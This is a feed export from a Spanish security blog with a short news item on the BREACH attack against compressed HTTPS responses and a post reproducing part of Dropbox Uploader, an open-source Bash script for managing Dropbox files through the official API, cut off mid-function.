tag:blogger.com,1999:blog-71637085688764534482024-03-14T11:36:59.899+01:00Peroma ProjectIn warfare, information is power. The better you understand your enemy , the more able you are to defeat him. In the war against malicious hacker, network intruders, and the other blackhat denizens of cyberspace, the good guys have surprisingly little information. Most security professional, even those designing security products, are ignorant of the tools , tactics ,and motivation on the enemy. And this state of affairs is to the enemy´s advantage.Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.comBlogger39125tag:blogger.com,1999:blog-7163708568876453448.post-3721953904793580282013-08-07T01:13:00.001+02:002013-08-07T01:23:45.472+02:00Rompiendo HTTPS en sólo 30 segundos<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
BREACH (Browser Reconnaissance and Exfiltration via Adaptive Compression of Hypertext) es una nueva herramienta que utiliza una técnica mediante la cual es posible extraer tokens de logins, IDs de sesión y otra información sensible a partir de tráfico web cifrado SSL/TLS y en ¡sólo 30 segundos!.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Esto significa que podría permitir a un atacante descifrar fácilmente un canal HTTPS de un banco o de un sitio de venta online. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Fue presentada en la última conferencia Black Hat y se aprovecha varias vulnerabilidades de forma similar a lo que hacía <a href="http://www.hackplayers.com/2012/09/CRIME-ataque-SSL-TLS-sucesor-BEAST.html">CRIME </a>con deflate; es decir, ataca al algoritmo de compresión aunque en las respuestas HTTP. Eso sí, como comentamos la información sensible ha de estar en las respuestas HTTP, el servidor por supuesto ha de utilizar compresión HTTP y el exploit requiere que la víctima visite primero un enlace malicioso.</div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: x-small; line-height: 22.390625px;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRjyXdok0M9HYTUEEpAyZjktbhwcpO6OSD2GiKpOqvMI3Gx_bgvtpH0IQn_Osmh0RVfmVKowyuZ2kB2RIJf0lmdt1Oz1OiIuZOhawY92Bzk0dlkXLRak3JBsvs66scgQtpw1kHobVZ3IZE/s1600/BREACH.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRjyXdok0M9HYTUEEpAyZjktbhwcpO6OSD2GiKpOqvMI3Gx_bgvtpH0IQn_Osmh0RVfmVKowyuZ2kB2RIJf0lmdt1Oz1OiIuZOhawY92Bzk0dlkXLRak3JBsvs66scgQtpw1kHobVZ3IZE/s400/BREACH.png" width="400" /></a></div>
<div style="text-align: justify;">
<span style="background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: x-small; line-height: 22.390625px;"><br /></span></div>
<br />
Más información en:<br />
<div>
<a href="http://breachattack.com/"><span style="color: yellow;">http://breachattack.com</span></a><br />
Paper:<br />
<div>
<a href="http://www.iacr.org/cryptodb/archive/2002/FSE/3091/3091.pdf"><span style="color: yellow;">http://www.iacr.org/cryptodb/archive/2002/FSE/3091/3091.pdf</span></a><br />
Presentación:<br />
<div>
<a href="http://breachattack.com/resources/BREACH%20-%20BH%202013%20-%20PRESENTATION.pdf"><span style="color: yellow;">http://breachattack.com/resources/BREACH%20-%20BH%202013%20-%20PRESENTATION.pdf</span></a></div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-52688047734364826712013-06-24T14:15:00.001+02:002013-06-24T14:15:39.344+02:00Dropbox Uploader<div dir="ltr" style="text-align: left;" trbidi="on">
Es un script en BASH que puede ser utilizado para cargar, descargar, suprimir , catalogar archivos y mucho más en Dropbox, un archivo compartido online, sincronización y servicios de backup. Sólo necesita de cUrl (es una herramienta que sirve para transmitir información de o a un servidor), disponible para todos los sistemas operativos e instalado por omisión en muchas distribuciones Linux. Seguro: no requiere que proporciones sus identificaciones (username/password) a este script porque este utiliza el API oficial de Dropbox para el proceso de autenticación.<br />
<br />
<br />######################################Script:######################################<br />#!/usr/bin/env bash<br /># Dropbox Uploader<br /># Copyright (C) 2010-2013 Andrea Fabrizi <andrea.fabrizi@gmail.com><br /># This program is free software; you can redistribute it and/or modify<br /># it under the terms of the GNU General Public License as published by<br /># the Free Software Foundation; either version 2 of the License, or<br /># (at your option) any later version.<br /># This program is distributed in the hope that it will be useful,<br /># but WITHOUT ANY WARRANTY; without even the implied warranty of<br /># MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the<br /># GNU General Public License for more details.<br /># You should have received a copy of the GNU General Public License<br /># along with this program; if not, write to the Free Software<br /># Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.<br /><br />#Default configuration file<br />CONFIG_FILE=~/.dropbox_uploader<br /><br /><div>
#If you are experiencing problems establishing SSL connection with the DropBox<br />#server, try to uncomment this option.<br />#Note: This option explicitly allows curl to perform "insecure" SSL connections and transfers.<br />#CURL_ACCEPT_CERTIFICATES="-k"<br /><br />#Default chunk size in Mb for the upload process<br />#It is recommended to increase this value only if you have enough free space on your /tmp partition<br />#Lower values may increase the number of http requests<br />CHUNK_SIZE=4<br /><br />#Set to 1 to enable DEBUG mode<br />DEBUG=0<br /><br />#Set to 1 to enable VERBOSE mode<br />VERBOSE=1<br /><br />#Curl location<br />#If not set, curl will be searched into the $PATH<br />#CURL_BIN="/usr/bin/curl"<br /><br />#Temporary folder<br />TMP_DIR="/tmp"<br /><br />#Don't edit these...<br />API_REQUEST_TOKEN_URL="https://api.dropbox.com/1/oauth/request_token"<br />API_USER_AUTH_URL="https://www2.dropbox.com/1/oauth/authorize"<br />API_ACCESS_TOKEN_URL="https://api.dropbox.com/1/oauth/access_token"<br />API_CHUNKED_UPLOAD_URL="https://api-content.dropbox.com/1/chunked_upload"<br />API_CHUNKED_UPLOAD_COMMIT_URL="https://api-content.dropbox.com/1/commit_chunked_upload"<br />API_UPLOAD_URL="https://api-content.dropbox.com/1/files_put"<br />API_DOWNLOAD_URL="https://api-content.dropbox.com/1/files"<br />API_DELETE_URL="https://api.dropbox.com/1/fileops/delete"<br />API_MOVE_URL="https://api.dropbox.com/1/fileops/move"<br />API_METADATA_URL="https://api.dropbox.com/1/metadata"<br />API_INFO_URL="https://api.dropbox.com/1/account/info"<br />API_MKDIR_URL="https://api.dropbox.com/1/fileops/create_folder"<br />API_SHARES_URL="https://api.dropbox.com/1/shares"<br />APP_CREATE_URL="https://www2.dropbox.com/developers/apps"<br />RESPONSE_FILE="$TMP_DIR/du_resp_$RANDOM"<br />CHUNK_FILE="$TMP_DIR/du_chunk_$RANDOM"<br />BIN_DEPS="sed basename date grep stat dd printf mkdir"<br />VERSION="0.11.8"<br /></div>
<div>
umask 077<br /><br />#Check the shell<br />if [ -z "$BASH_VERSION" ]; then<br /> echo -e "Error: this script requires BASH shell!"<br /> exit 1<br />fi<br /><br />if [ $DEBUG -ne 0 ]; then<br /> set -x<br /> RESPONSE_FILE="$TMP_DIR/du_resp_debug"<br />fi<br /><br />#Look for optional config file parameter<br />while getopts ":f:" opt; do<br /> case $opt in<br /><br /> f)<br /> CONFIG_FILE=$OPTARG<br /> shift $((OPTIND-1))<br /> ;;<br /><br /> \?)<br /> echo "Invalid option: -$OPTARG" >&2<br /> exit 1<br /> ;;<br /><br /> :)<br /> echo "Option -$OPTARG requires an argument." >&2<br /> exit 1<br /> ;;<br /><br /> esac<br />done<br /><br />#Print verbose information depends on $VERBOSE variable<br />function print<br />{<br /> if [ $VERBOSE -eq 1 ]; then<br /> echo -ne "$1";<br /> fi<br />}<br /><br />#Returns unix timestamp<br />function utime<br />{<br /> echo $(date +%s)<br />}<br /><br />#Remove temporary files<br />function remove_temp_files<br />{<br /> if [ $DEBUG -eq 0 ]; then<br /> rm -fr "$RESPONSE_FILE"<br /> rm -fr "$CHUNK_FILE"<br /> fi<br />}<br /><br /><br />#Returns the file size in bytes<br /># generic GNU Linux: linux-gnu<br /># windows cygwin: cygwin<br /># raspberry pi: linux-gnueabihf<br /># macosx: darwin10.0<br /># freebsd: FreeBSD<br /># qnap: linux-gnueabi<br /># iOS: darwin9<br />function file_size<br />{<br /> #Some embedded linux devices<br /> if [ "$OSTYPE" == "linux-gnueabi" -o "$OSTYPE" == "linux-gnu" ]; then<br /> stat -c "%s" "$1"<br /> return<br /><br /> #Generic Unix<br /> elif [ "${OSTYPE:0:5}" == "linux" -o "$OSTYPE" == "cygwin" -o "${OSTYPE:0:7}" == "solaris" -o "${OSTYPE}" == "darwin9" ]; then<br /> stat --format="%s" "$1"<br /> return<br /><br />#BSD or others OS<br /> else<br /> stat -f "%z" "$1"<br /> return<br /> fi<br />}<br /><br />#USAGE<br />function usage <br />{<br /> echo -e "Dropbox Uploader v$VERSION"<br /> echo -e "Andrea Fabrizi - andrea.fabrizi@gmail.com\n"<br /> echo -e "Usage: $0 COMMAND [PARAMETERS]..."<br /> echo -e "\nCommands:"<br />echo -e "\t upload [LOCAL_FILE/DIR] <REMOTE_FILE/DIR>"<br /> echo -e "\t download [REMOTE_FILE/DIR] <LOCAL_FILE/DIR>"<br /> echo -e "\t delete [REMOTE_FILE/DIR]"<br /> echo -e "\t move [REMOTE_FILE/DIR] [REMOTE_FILE/DIR]"<br /> echo -e "\t mkdir [REMOTE_DIR]"<br /> echo -e "\t list <REMOTE_DIR>"<br /> echo -e "\t share [REMOTE_FILE]"<br /> echo -e "\t info"<br /> echo -e "\t unlink"<br />echo -e "\nOptional parameters:"<br /> echo -e "\t-f [FILENAME] Load the configuration file from a specific file"<br />echo -en "\nFor more info and examples, please see the README file.\n\n"<br /> remove_temp_files<br /> exit 1<br />}<br /><br />if [ -z "$CURL_BIN" ]; then<br /> BIN_DEPS="$BIN_DEPS curl"<br /> CURL_BIN="curl"<br />fi<br />#DEPENDENCIES CHECK<br />for i in $BIN_DEPS; do<br /> which $i > /dev/null<br /> if [ $? -ne 0 ]; then<br /> echo -e "Error: Required program could not be found: $i"<br /> remove_temp_files<br /> exit 1<br /> fi<br />done<br /><br />#Urlencode<br />function urlencode<br />{<br /> local string="${1}"<br /> local strlen=${#string}<br /> local encoded=""<br /><br /> for (( pos=0 ; pos<strlen ; pos++ )); do<br /> c=${string:$pos:1}<br /> case "$c" in<br /> [-_.~a-zA-Z0-9] ) o="${c}" ;;<br /> * ) printf -v o '%%%02x' "'$c"<br /> esac<br /> encoded+="${o}"<br /> done<br />echo "$encoded"<br />}<br />#Generic upload wrapper around db_upload_file and db_upload_dir functions<br />#$1 = Local source file/dir<br />#$2 = Remote destination file/dir<br />function db_upload<br />{<br /> local SRC="$1"<br /> local DST="$2"<br /><br />#It's a file<br /> if [ -f "$SRC" ]; then<br /> db_upload_file "$SRC" "$DST"<br /> <br /> #It's a directory<br /> elif [ -d "$SRC" ]; then<br /> db_upload_dir "$SRC" "$DST"<br /><br /> #Unsupported object...<br /> else<br /> print " > Skipping not regular file '$SRC'"<br /> fi<br />}<br /><br />#Generic upload wrapper around db_chunked_upload_file and db_simple_upload_file<br />#The final upload function will be choosen based on the file size<br />#$1 = Local source file<br />#$2 = Remote destination file<br />function db_upload_file<br />{<br /> local FILE_SRC="$1"<br /> local FILE_DST="$2"<br /><br /> #Checking file size<br /> FILE_SIZE=$(file_size "$FILE_SRC")<br /><br /> #Checking the free quota<br /> FREE_QUOTA=$(db_free_quota)<br /> if [ $FILE_SIZE -gt $FREE_QUOTA ]; then<br /> let FREE_MB_QUOTA=$FREE_QUOTA/1024/1024<br /> echo -e "Error: You have no enough space on your DropBox!"<br /> echo -e "Free quota: $FREE_MB_QUOTA Mb"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br />if [ $FILE_SIZE -gt 157286000 ]; then<br /> #If the file is greater than 150Mb, the chunked_upload API will be used<br /> db_chunked_upload_file "$FILE_SRC" "$FILE_DST"<br /> else<br /> db_simple_upload_file "$FILE_SRC" "$FILE_DST"<br /> fi<br />}<br /><br />#Simple file upload<br />#$1 = Local source file<br />#$2 = Remote destination file<br />function db_simple_upload_file<br />{<br /> local FILE_SRC="$1"<br /> local FILE_DST=$(urlencode "$2")<br /><br /> #Show the progress bar during the file upload<br /> if [ $VERBOSE -eq 1 ]; then<br /> CURL_PARAMETERS="--progress-bar"<br /> else<br /> CURL_PARAMETERS="-s --show-error"<br /> fi<br /><br /> print " > Uploading $FILE_SRC to $2... \n"<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES $CURL_PARAMETERS -i --globoff -o "$RESPONSE_FILE" --upload-file "$FILE_SRC" "$API_UPLOAD_URL/$ACCESS_LEVEL/$FILE_DST?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null<br /><br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /> print " > DONE\n"<br /> else<br /> print " > FAILED\n"<br /> print " An error occurred requesting /upload\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />#Chunked file upload<br />#$1 = Local source file<br />#$2 = Remote destination file<br />function db_chunked_upload_file<br />{<br /> local FILE_SRC="$1"<br /> local FILE_DST=$(urlencode "$2")<br />print " > Uploading \"$FILE_SRC\" to \"$2\""<br />local FILE_SIZE=$(file_size "$FILE_SRC")<br /> local OFFSET=0<br /> local UPLOAD_ID=""<br /> local UPLOAD_ERROR=0<br />#Uploading chunks...<br /> while ([ $OFFSET -ne $FILE_SIZE ]); do<br /><br /> let OFFSET_MB=$OFFSET/1024/1024<br /><br /> #Create the chunk<br /> dd if="$FILE_SRC" of="$CHUNK_FILE" bs=1048576 skip=$OFFSET_MB count=$CHUNK_SIZE 2> /dev/null<br /><br />#Only for the first request these parameters are not included<br /> if [ $OFFSET -ne 0 ]; then<br /> CHUNK_PARAMS="upload_id=$UPLOAD_ID&offset=$OFFSET"<br /> fi<br /><br /> #Uploading the chunk...<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --upload-file "$CHUNK_FILE" "$API_CHUNKED_UPLOAD_URL?$CHUNK_PARAMS&oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null<br /><br />#Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -ne 0 ]; then<br /> print "*"<br /> let UPLOAD_ERROR=$UPLOAD_ERROR+1<br /><br /> #On error, the upload is retried for max 3 times<br /> if [ $UPLOAD_ERROR -gt 2 ]; then<br /> print " > FAILED\n"<br /> print " An error occurred requesting /chunked_upload\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br />else<br /> print "."<br /> UPLOAD_ERROR=0<br /> UPLOAD_ID=$(sed -n 's/.*"upload_id": *"*\([^"]*\)"*.*/\1/p' "$RESPONSE_FILE")<br /> OFFSET=$(sed -n 's/.*"offset": *\([^}]*\).*/\1/p' "$RESPONSE_FILE")<br /> fi<br /><br /> done<br /><br /> UPLOAD_ERROR=0<br /><br /> #Commit the upload<br /> while (true); do<br /><br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "upload_id=$UPLOAD_ID&oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_CHUNKED_UPLOAD_COMMIT_URL/$ACCESS_LEVEL/$FILE_DST" 2> /dev/null<br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -ne 0 ]; then<br /> print "*"<br /> let UPLOAD_ERROR=$UPLOAD_ERROR+1<br /><br />#On error, the commit is retried for max 3 times<br /> if [ $UPLOAD_ERROR -gt 2 ]; then<br /> print " > FAILED\n"<br /> print " An error occurred requesting /commit_chunked_upload\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br />else<br /> print "."<br /> UPLOAD_ERROR=0<br /> break<br /> fi<br /><br />done<br /><br /> print "\n > DONE\n"<br />}<br /><br />#Directory upload<br />#$1 = Local source dir<br />#$2 = Remote destination dir<br />function db_upload_dir<br />{<br /> local DIR_SRC="$1"<br /> local DIR_DST="$2"<br /><br />#Creatig remote directory<br /> db_mkdir "$DIR_DST"<br /><br />for file in "$DIR_SRC/"*; do<br /><br /> basefile=$(basename "$file")<br /> db_upload "$file" "$DIR_DST/$basefile"<br /><br />done<br />}<br /><br />#Returns the free space on DropBox in bytes<br />function db_free_quota<br />{<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_INFO_URL" 2> /dev/null<br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /><br /> quota=$(sed -n 's/.*"quota": \([0-9]*\).*/\1/p' "$RESPONSE_FILE")<br /> used=$(sed -n 's/.*"normal": \([0-9]*\).*/\1/p' "$RESPONSE_FILE")<br /> let free_quota=$quota-$used<br /> echo $free_quota<br /><br />else<br /> #On error, a big free quota is returned, so if this function fails the upload will not be blocked...<br /> echo 1000000000000<br /> fi<br />}<br /><br />#Generic download wrapper<br />#$1 = Remote source file/dir<br />#$2 = Local destination file/dir<br />function db_download<br />{<br /> local SRC="$1"<br /> local DST=$2<br /><br /> #Checking if it's a file or a directory<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" "$API_METADATA_URL/$ACCESS_LEVEL/$SRC?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null<br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /><br />local IS_DIR=$(sed -n 's/^\(.*\)\"contents":.\[.*/\1/p' "$RESPONSE_FILE")<br /><br /> #It's a directory<br /> if [ ! -z "$IS_DIR" ]; then<br /><br /> #If the DST folder is not specified, I assume that is the current directory<br /> if [ -z "$DST" ]; then<br /> DST="."<br /> fi<br /><br /> #Checking if the destination directory exists<br /> if [ ! -d "$DST" ]; then<br /> echo -e "Error: Please specify a valid destination directory!"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br /><br /> local basedir=$(basename "$SRC")<br /> print " > Creating local directory \"$DST/$basedir\""<br /> mkdir -p "$DST/$basedir"<br /><br /><br /> #Check<br /> if [ $? -eq 0 ]; then<br /> print "\n > DONE\n"<br /> else<br /> print "FAILED\n"<br /> remove_temp_files<br /> exit 1<br /> fi <br /><br /><br /> #Extracting directory content [...]<br /> #and replacing "}, {" with "}\n{"<br /> #I don't like this piece of code... but seems to be the only way to do this with SED, writing a portable code...<br /> local DIR_CONTENT=$(sed -n 's/.*: \[{\(.*\)/\1/p' "$RESPONSE_FILE" | sed 's/}, *{/}\<br />{/g')<br /><br /> #Extracing files and subfolders<br /> TMP_DIR_CONTENT_FILE="${RESPONSE_FILE}_$RANDOM"<br /> echo "$DIR_CONTENT" | sed -n 's/.*"path": *"\([^"]*\)",.*"is_dir": *\([^"]*\),.*/\1:\2/p' > $TMP_DIR_CONTENT_FILE<br /><br /> #For each line...<br /> while read -r line; do<br /><br /> local FILE=${line%:*}<br /> FILE=${FILE##*/}<br /> local TYPE=${line#*:}<br /><br /> if [ "$TYPE" == "false" ]; then<br /> db_download_file "$SRC/$FILE" "$DST/$basedir/$FILE"<br /> else<br /> db_download "$SRC/$FILE" "$DST/$basedir/" <br /> fi<br /> print "\n"<br /> done < $TMP_DIR_CONTENT_FILE<br /><br /><br /> rm -fr $TMP_DIR_CONTENT_FILE<br /><br />#It's a file<br /> else<br /> db_download_file "$SRC" "$DST"<br /> fi<br /><br /> else<br /> print "FAILED\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />#Simple file download<br />#$1 = Remote source file<br />#$2 = Local destination file<br />function db_download_file<br />{<br /> local FILE_SRC=$(urlencode "$1")<br /> local FILE_DST=$2<br /><br />#Show the progress bar during the file download<br /> if [ $VERBOSE -eq 1 ]; then<br /> local CURL_PARAMETERS="--progress-bar"<br /> else<br /> local CURL_PARAMETERS="-s --show-error"<br /> fi<br /><br /><br /> print " > Downloading \"$1\" to \"$FILE_DST\"... \n"<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES $CURL_PARAMETERS --globoff -D "$RESPONSE_FILE" -o "$FILE_DST" "$API_DOWNLOAD_URL/$ACCESS_LEVEL/$FILE_SRC?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null<br /><br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /> print " > DONE\n"<br /> else<br /> print " > FAILED\n"<br /> print " If the problem persists, try to unlink this script from your\n"<br /> print " Dropbox account, then setup again ($0 unlink).\n"<br /> rm -fr "$FILE_DST"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br />#Prints account info<br />function db_account_info<br />{<br /> print "Dropbox Uploader v$VERSION\n\n"<br /> print " > Getting info... \n"<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_INFO_URL" 2> /dev/null<br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /><br /><br /> name=$(sed -n 's/.*"display_name": "\([^"]*\).*/\1/p' "$RESPONSE_FILE")<br /> echo -e "\nName:\t$name"<br /><br /><br /> uid=$(sed -n 's/.*"uid": \([0-9]*\).*/\1/p' "$RESPONSE_FILE")<br /> echo -e "UID:\t$uid"<br /><br />email=$(sed -n 's/.*"email": "\([^"]*\).*/\1/p' "$RESPONSE_FILE")<br /> echo -e "Email:\t$email"<br /><br />quota=$(sed -n 's/.*"quota": \([0-9]*\).*/\1/p' "$RESPONSE_FILE")<br /> let quota_mb=$quota/1024/1024<br /> echo -e "Quota:\t$quota_mb Mb"<br /><br />used=$(sed -n 's/.*"normal": \([0-9]*\).*/\1/p' "$RESPONSE_FILE")<br /> let used_mb=$used/1024/1024<br /> echo -e "Used:\t$used_mb Mb"<br /><br />let free_mb=($quota-$used)/1024/1024<br /> echo -e "Free:\t$free_mb Mb"<br />echo ""<br /><br /> else<br /> print " > FAILED\n"<br /> print " If the problem persists, try to unlink this script from your\n"<br /> print " Dropbox account, then setup again ($0 unlink).\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />#Account unlink<br />function db_unlink<br />{<br /> echo -ne "\n Are you sure you want unlink this script from your Dropbox account? [y/n]"<br /> read answer<br /> if [ "$answer" == "y" ]; then<br /> rm -fr "$CONFIG_FILE"<br /> echo -ne "Done!\n"<br /> fi<br />}<br /><br />#Delete a remote file<br />#$1 = Remote file to delete<br />function db_delete<br />{<br /> local FILE_DST=$(urlencode "$1")<br />print " > Deleting \"$1\"... "<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&root=$ACCESS_LEVEL&path=$FILE_DST" "$API_DELETE_URL" 2> /dev/null<br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /> print "DONE\n"<br /> else<br /> print "FAILED\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />#Move/Rename a remote file<br />#$1 = Remote file to rename or move<br />#$2 = New file name or location<br />function db_move<br />{<br /> local FILE_SRC=$(urlencode "$1")<br /> local FILE_DEST=$(urlencode "$2")<br /><br /><br /> print " > Moving \"$1\" to \"$2\" ... "<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&root=$ACCESS_LEVEL&from_path=$FILE_SRC&to_path=$FILE_DEST" "$API_MOVE_URL" 2> /dev/null<br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /> print "DONE\n"<br /> else<br /> print "FAILED\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />#Create a new directory<br />#$1 = Remote directory to create<br />function db_mkdir<br />{<br /> local MKDIR_DST=$(urlencode "$1")<br />print " > Creating Directory \"$1\"... "<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&root=$ACCESS_LEVEL&path=$MKDIR_DST" "$API_MKDIR_URL" 2> /dev/null<br /><br /> #Check<br /> if grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null; then<br /> print "DONE\n"<br /> elif grep "HTTP/1.1 403 Forbidden" "$RESPONSE_FILE" > /dev/null; then<br /> print "ALREADY EXISTS\n"<br /> else<br /> print "FAILED\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />#List remote directory<br />#$1 = Remote directory<br />function db_list<br />{<br /> local DIR_DST=$1<br /><br /> print " > Listing \"$1\"... "<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" "$API_METADATA_URL/$ACCESS_LEVEL/$DIR_DST?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" 2> /dev/null<br /><br /> #Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /><br />local IS_DIR=$(sed -n 's/^\(.*\)\"contents":.\[.*/\1/p' "$RESPONSE_FILE")<br /><br />#It's a directory<br /> if [ ! -z "$IS_DIR" ]; then<br />print "DONE\n"<br /><br /> #Extracting directory content [...]<br /> #and replacing "}, {" with "}\n{"<br /> #I don't like this piece of code... but seems to be the only way to do this with SED, writing a portable code...<br /> local DIR_CONTENT=$(sed -n 's/.*: \[{\(.*\)/\1/p' "$RESPONSE_FILE" | sed 's/}, *{/}\<br />{/g')<br /><br />#Extracing files and subfolders<br /> echo "$DIR_CONTENT" | sed -n 's/.*"path": *"\([^"]*\)",.*"is_dir": *\([^"]*\),.*/\1:\2/p' > $RESPONSE_FILE<br /><br /> #For each line...<br /> while read -r line; do<br /><br />local FILE=${line%:*}<br /> FILE=${FILE##*/}<br /> local TYPE=${line#*:}<br /><br /> if [ "$TYPE" == "false" ]; then<br /> printf " [F] $FILE\n"<br /> else<br /> printf " [D] $FILE\n"<br /> fi<br /> done < $RESPONSE_FILE<br /><br /> #It's a file<br /> else<br /> print "FAILED $DIR_DST is not a directory!\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br /> else<br /> print "FAILED\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />#Share remote file<br />#$1 = Remote file<br />function db_share<br />{<br /> local FILE_DST=$(urlencode "$1")<br /><br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o "$RESPONSE_FILE" 